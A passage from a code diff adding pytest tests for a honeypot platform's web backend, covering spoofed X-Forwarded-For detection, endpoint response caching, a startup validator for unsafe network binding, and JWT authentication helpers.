row = _log_row({"X-Forwarded-For": "10.0.0.5"})
|
||||
result = _detect_spoofed_source(row, row["fields"]["headers"])
|
||||
assert result is not None
|
||||
assert result["claim_category"] == "private"
|
||||
|
||||
|
||||
def test_spoofed_source_skipped_on_public_claim():
|
||||
"""A public-IP claim is a leak, not a spoof — the two detectors
|
||||
are mutually exclusive."""
|
||||
row = _log_row({"X-Forwarded-For": "1.1.1.1"})
|
||||
assert _detect_spoofed_source(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
def test_spoofed_source_skipped_when_matches_source():
|
||||
row = _log_row({"X-Forwarded-For": "8.8.8.8"})
|
||||
assert _detect_spoofed_source(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
def test_spoofed_source_respects_trusted_proxy(monkeypatch):
|
||||
monkeypatch.setenv("DECNET_TRUSTED_PROXIES", "8.8.8.8")
|
||||
row = _log_row({"X-Forwarded-For": "127.0.0.1"})
|
||||
assert _detect_spoofed_source(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_extract_bounty_emits_spoofed_source_fingerprint():
|
||||
row = _log_row({"X-Forwarded-For": "127.0.0.1"})
|
||||
repo = AsyncMock()
|
||||
await _extract_bounty(repo, row)
|
||||
|
||||
calls = [c.args[0] for c in repo.add_bounty.call_args_list]
|
||||
# ip_leak must NOT fire for the loopback case.
|
||||
assert all(c["bounty_type"] != "ip_leak" for c in calls)
|
||||
# A fingerprint with fingerprint_type=spoofed_source should fire.
|
||||
spoof = next(
|
||||
(c for c in calls
|
||||
if c["bounty_type"] == "fingerprint"
|
||||
and c["payload"].get("fingerprint_type") == "spoofed_source"),
|
||||
None,
|
||||
)
|
||||
assert spoof is not None
|
||||
assert spoof["payload"]["claim_category"] == "loopback"
|
||||
110
tests/web/test_router_cache.py
Normal file
110
tests/web/test_router_cache.py
Normal file
@@ -0,0 +1,110 @@
|
||||
"""
|
||||
TTL-cache contract for /stats, /logs total count, and /attackers total count.
|
||||
|
||||
Under concurrent load N callers should collapse to 1 repo hit per TTL
|
||||
window. Tests patch the repo — no real DB.
|
||||
"""
|
||||
import asyncio
|
||||
from unittest.mock import AsyncMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from decnet.web.router.stats import api_get_stats
|
||||
from decnet.web.router.logs import api_get_logs
|
||||
from decnet.web.router.attackers import api_get_attackers
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _reset_router_caches():
|
||||
api_get_stats._reset_stats_cache()
|
||||
api_get_logs._reset_total_cache()
|
||||
api_get_attackers._reset_total_cache()
|
||||
yield
|
||||
api_get_stats._reset_stats_cache()
|
||||
api_get_logs._reset_total_cache()
|
||||
api_get_attackers._reset_total_cache()
|
||||
|
||||
|
||||
# ── /stats whole-response cache ──────────────────────────────────────────────
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_stats_cache_collapses_concurrent_calls():
|
||||
api_get_stats._reset_stats_cache()
|
||||
payload = {"total_logs": 42, "unique_attackers": 7, "active_deckies": 3, "deployed_deckies": 3}
|
||||
with patch.object(api_get_stats, "repo") as mock_repo:
|
||||
mock_repo.get_stats_summary = AsyncMock(return_value=payload)
|
||||
results = await asyncio.gather(*[api_get_stats._get_stats_cached() for _ in range(50)])
|
||||
assert all(r == payload for r in results)
|
||||
assert mock_repo.get_stats_summary.await_count == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_stats_cache_expires_after_ttl(monkeypatch):
|
||||
api_get_stats._reset_stats_cache()
|
||||
clock = {"t": 0.0}
|
||||
monkeypatch.setattr(api_get_stats.time, "monotonic", lambda: clock["t"])
|
||||
with patch.object(api_get_stats, "repo") as mock_repo:
|
||||
mock_repo.get_stats_summary = AsyncMock(return_value={"total_logs": 1, "unique_attackers": 0, "active_deckies": 0, "deployed_deckies": 0})
|
||||
await api_get_stats._get_stats_cached()
|
||||
clock["t"] = 100.0 # past TTL
|
||||
await api_get_stats._get_stats_cached()
|
||||
assert mock_repo.get_stats_summary.await_count == 2
|
||||
|
||||
|
||||
# ── /logs total-count cache ──────────────────────────────────────────────────
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_logs_total_cache_collapses_concurrent_calls():
|
||||
api_get_logs._reset_total_cache()
|
||||
with patch.object(api_get_logs, "repo") as mock_repo:
|
||||
mock_repo.get_total_logs = AsyncMock(return_value=1234)
|
||||
results = await asyncio.gather(*[api_get_logs._get_total_logs_cached() for _ in range(50)])
|
||||
assert all(r == 1234 for r in results)
|
||||
assert mock_repo.get_total_logs.await_count == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_logs_filtered_count_bypasses_cache():
|
||||
"""When a filter is provided, the endpoint must hit repo every time."""
|
||||
api_get_logs._reset_total_cache()
|
||||
with patch.object(api_get_logs, "repo") as mock_repo:
|
||||
mock_repo.get_logs = AsyncMock(return_value=[])
|
||||
mock_repo.get_total_logs = AsyncMock(return_value=0)
|
||||
for _ in range(3):
|
||||
await api_get_logs.get_logs(
|
||||
limit=50, offset=0, search="needle", start_time=None, end_time=None,
|
||||
user={"uuid": "u", "role": "viewer"},
|
||||
)
|
||||
# 3 filtered calls → 3 repo hits, all with search=needle
|
||||
assert mock_repo.get_total_logs.await_count == 3
|
||||
for call in mock_repo.get_total_logs.await_args_list:
|
||||
assert call.kwargs["search"] == "needle"
|
||||
|
||||
|
||||
# ── /attackers total-count cache ─────────────────────────────────────────────
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_attackers_total_cache_collapses_concurrent_calls():
|
||||
api_get_attackers._reset_total_cache()
|
||||
with patch.object(api_get_attackers, "repo") as mock_repo:
|
||||
mock_repo.get_total_attackers = AsyncMock(return_value=99)
|
||||
results = await asyncio.gather(*[api_get_attackers._get_total_attackers_cached() for _ in range(50)])
|
||||
assert all(r == 99 for r in results)
|
||||
assert mock_repo.get_total_attackers.await_count == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_attackers_filtered_count_bypasses_cache():
|
||||
api_get_attackers._reset_total_cache()
|
||||
with patch.object(api_get_attackers, "repo") as mock_repo:
|
||||
mock_repo.get_attackers = AsyncMock(return_value=[])
|
||||
mock_repo.get_total_attackers = AsyncMock(return_value=0)
|
||||
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
|
||||
for _ in range(3):
|
||||
await api_get_attackers.get_attackers(
|
||||
limit=50, offset=0, search="10.", sort_by="recent", service=None,
|
||||
user={"uuid": "u", "role": "viewer"},
|
||||
)
|
||||
assert mock_repo.get_total_attackers.await_count == 3
|
||||
for call in mock_repo.get_total_attackers.await_args_list:
|
||||
assert call.kwargs["search"] == "10."
|
||||
89
tests/web/test_validate_public_binding.py
Normal file
89
tests/web/test_validate_public_binding.py
Normal file
@@ -0,0 +1,89 @@
|
||||
"""validate_public_binding refuses footgun configs at master startup.
|
||||
|
||||
The validator no-ops under pytest by design (so unit tests in unrelated
|
||||
modules don't have to set five env vars per fixture); these tests strip
|
||||
the PYTEST_* vars before calling it so the real code path runs.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
def _reimport_env(monkeypatch: pytest.MonkeyPatch):
|
||||
for mod in list(sys.modules):
|
||||
if mod == "decnet.env" or mod.startswith("decnet.env."):
|
||||
sys.modules.pop(mod)
|
||||
return importlib.import_module("decnet.env")
|
||||
|
||||
|
||||
def _strip_pytest_vars(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
import os
|
||||
for k in list(os.environ):
|
||||
if k.startswith("PYTEST"):
|
||||
monkeypatch.delenv(k, raising=False)
|
||||
|
||||
|
||||
def test_validator_noop_on_loopback_binding(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setenv("DECNET_API_HOST", "127.0.0.1")
|
||||
monkeypatch.setenv("DECNET_CORS_ORIGINS", "http://localhost:8080")
|
||||
env = _reimport_env(monkeypatch)
|
||||
_strip_pytest_vars(monkeypatch)
|
||||
env.validate_public_binding() # no raise
|
||||
|
||||
|
||||
def test_validator_rejects_loopback_cors_on_public_bind(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
monkeypatch.setenv("DECNET_API_HOST", "0.0.0.0")
|
||||
monkeypatch.setenv("DECNET_CORS_ORIGINS", "http://localhost:8080")
|
||||
env = _reimport_env(monkeypatch)
|
||||
_strip_pytest_vars(monkeypatch)
|
||||
with pytest.raises(ValueError, match="loopback origin"):
|
||||
env.validate_public_binding()
|
||||
|
||||
|
||||
def test_validator_accepts_public_cors_on_public_bind(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
monkeypatch.setenv("DECNET_API_HOST", "0.0.0.0")
|
||||
monkeypatch.setenv("DECNET_CORS_ORIGINS", "https://dashboard.example.com")
|
||||
env = _reimport_env(monkeypatch)
|
||||
_strip_pytest_vars(monkeypatch)
|
||||
env.validate_public_binding() # no raise
|
||||
|
||||
|
||||
def test_validator_rejects_plaintext_canary_on_public_bind(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
monkeypatch.setenv("DECNET_API_HOST", "0.0.0.0")
|
||||
monkeypatch.setenv("DECNET_CORS_ORIGINS", "https://dashboard.example.com")
|
||||
monkeypatch.setenv("DECNET_CANARY_HTTP_BASE", "http://canary.example.com:8088")
|
||||
env = _reimport_env(monkeypatch)
|
||||
_strip_pytest_vars(monkeypatch)
|
||||
with pytest.raises(ValueError, match="plaintext HTTP"):
|
||||
env.validate_public_binding()
|
||||
|
||||
|
||||
def test_validator_allows_loopback_canary_even_on_public_bind(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
# Local canary endpoint behind the master is fine; only public-facing
|
||||
# plaintext is the footgun.
|
||||
monkeypatch.setenv("DECNET_API_HOST", "0.0.0.0")
|
||||
monkeypatch.setenv("DECNET_CORS_ORIGINS", "https://dashboard.example.com")
|
||||
monkeypatch.setenv("DECNET_CANARY_HTTP_BASE", "http://localhost:8088")
|
||||
env = _reimport_env(monkeypatch)
|
||||
_strip_pytest_vars(monkeypatch)
|
||||
env.validate_public_binding() # no raise
|
||||
|
||||
|
||||
def test_validator_skips_under_pytest(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
# With PYTEST_* still in env (default), even a misconfigured env passes —
|
||||
# this is the deliberate bypass so unrelated tests don't trip on it.
|
||||
monkeypatch.setenv("DECNET_API_HOST", "0.0.0.0")
|
||||
monkeypatch.setenv("DECNET_CORS_ORIGINS", "http://localhost:8080")
|
||||
env = _reimport_env(monkeypatch)
|
||||
env.validate_public_binding() # no raise — guard short-circuits
|
||||
159
tests/web/test_web_api.py
Normal file
159
tests/web/test_web_api.py
Normal file
@@ -0,0 +1,159 @@
|
||||
"""
|
||||
Tests for decnet/web/api.py lifespan and decnet/web/dependencies.py auth helpers.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from decnet.web.auth import create_access_token
|
||||
|
||||
|
||||
# ── get_current_user ──────────────────────────────────────────────────────────
|
||||
|
||||
class TestGetCurrentUser:
|
||||
@pytest.mark.asyncio
|
||||
async def test_valid_token(self):
|
||||
from decnet.web.dependencies import get_current_user
|
||||
token = create_access_token({"uuid": "test-uuid-123"})
|
||||
request = MagicMock()
|
||||
request.headers = {"Authorization": f"Bearer {token}"}
|
||||
result = await get_current_user(request)
|
||||
assert result == "test-uuid-123"
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_no_auth_header(self):
|
||||
from fastapi import HTTPException
|
||||
from decnet.web.dependencies import get_current_user
|
||||
request = MagicMock()
|
||||
request.headers = {}
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_current_user(request)
|
||||
assert exc_info.value.status_code == 401
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_invalid_jwt(self):
|
||||
from fastapi import HTTPException
|
||||
from decnet.web.dependencies import get_current_user
|
||||
request = MagicMock()
|
||||
request.headers = {"Authorization": "Bearer invalid-token"}
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_current_user(request)
|
||||
assert exc_info.value.status_code == 401
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_missing_uuid_in_payload(self):
|
||||
from fastapi import HTTPException
|
||||
from decnet.web.dependencies import get_current_user
|
||||
token = create_access_token({"sub": "no-uuid-field"})
|
||||
request = MagicMock()
|
||||
request.headers = {"Authorization": f"Bearer {token}"}
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_current_user(request)
|
||||
assert exc_info.value.status_code == 401
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_bearer_prefix_required(self):
|
||||
from fastapi import HTTPException
|
||||
from decnet.web.dependencies import get_current_user
|
||||
token = create_access_token({"uuid": "test-uuid"})
|
||||
request = MagicMock()
|
||||
request.headers = {"Authorization": f"Token {token}"}
|
||||
with pytest.raises(HTTPException):
|
||||
await get_current_user(request)
|
||||
|
||||
|
||||
# ── get_stream_user ───────────────────────────────────────────────────────────
|
||||
|
||||
class TestGetStreamUser:
|
||||
@pytest.mark.asyncio
|
||||
async def test_bearer_header(self):
|
||||
from decnet.web.dependencies import get_stream_user
|
||||
token = create_access_token({"uuid": "stream-uuid"})
|
||||
request = MagicMock()
|
||||
request.headers = {"Authorization": f"Bearer {token}"}
|
||||
result = await get_stream_user(request, token=None)
|
||||
assert result == "stream-uuid"
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_query_param_fallback(self):
|
||||
from decnet.web.dependencies import get_stream_user
|
||||
token = create_access_token({"uuid": "query-uuid"})
|
||||
request = MagicMock()
|
||||
request.headers = {}
|
||||
result = await get_stream_user(request, token=token)
|
||||
assert result == "query-uuid"
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_no_token_raises(self):
|
||||
from fastapi import HTTPException
|
||||
from decnet.web.dependencies import get_stream_user
|
||||
request = MagicMock()
|
||||
request.headers = {}
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_stream_user(request, token=None)
|
||||
assert exc_info.value.status_code == 401
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_invalid_token_raises(self):
|
||||
from fastapi import HTTPException
|
||||
from decnet.web.dependencies import get_stream_user
|
||||
request = MagicMock()
|
||||
request.headers = {}
|
||||
with pytest.raises(HTTPException):
|
||||
await get_stream_user(request, token="bad-token")
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_missing_uuid_raises(self):
|
||||
from fastapi import HTTPException
|
||||
from decnet.web.dependencies import get_stream_user
|
||||
token = create_access_token({"sub": "no-uuid"})
|
||||
request = MagicMock()
|
||||
request.headers = {"Authorization": f"Bearer {token}"}
|
||||
with pytest.raises(HTTPException):
|
||||
await get_stream_user(request, token=None)
|
||||
|
||||
|
||||
# ── web/api.py lifespan ──────────────────────────────────────────────────────
|
||||
|
||||
class TestLifespan:
|
||||
@pytest.mark.asyncio
|
||||
async def test_lifespan_startup_and_shutdown(self):
|
||||
from decnet.web.api import lifespan
|
||||
mock_app = MagicMock()
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.initialize = AsyncMock()
|
||||
|
||||
with patch("decnet.web.api.repo", mock_repo):
|
||||
with patch("decnet.web.api.log_ingestion_worker", return_value=asyncio.sleep(0)):
|
||||
with patch("decnet.web.api.log_collector_worker", return_value=asyncio.sleep(0)):
|
||||
with patch("decnet.web.api.attacker_profile_worker", return_value=asyncio.sleep(0)):
|
||||
async with lifespan(mock_app):
|
||||
mock_repo.initialize.assert_awaited_once()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_lifespan_db_retry(self):
|
||||
from decnet.web.api import lifespan
|
||||
mock_app = MagicMock()
|
||||
mock_repo = MagicMock()
|
||||
_call_count: int = 0
|
||||
|
||||
async def _failing_init():
|
||||
nonlocal _call_count
|
||||
_call_count += 1
|
||||
if _call_count < 3:
|
||||
raise Exception("DB locked")
|
||||
|
||||
mock_repo.initialize = _failing_init
|
||||
|
||||
with patch("decnet.web.api.repo", mock_repo):
|
||||
# Patch only the local _retry_sleep binding — patching
|
||||
# `asyncio.sleep` globally would starve the heartbeat loop's
|
||||
# own sleep and leak the task past the test's lifetime.
|
||||
with patch("decnet.web.api._retry_sleep", new_callable=AsyncMock):
|
||||
with patch("decnet.web.api.log_ingestion_worker", return_value=asyncio.sleep(0)):
|
||||
with patch("decnet.web.api.log_collector_worker", return_value=asyncio.sleep(0)):
|
||||
with patch("decnet.web.api.attacker_profile_worker", return_value=asyncio.sleep(0)):
|
||||
async with lifespan(mock_app):
|
||||
assert _call_count == 3
|
||||
Reference in New Issue
Block a user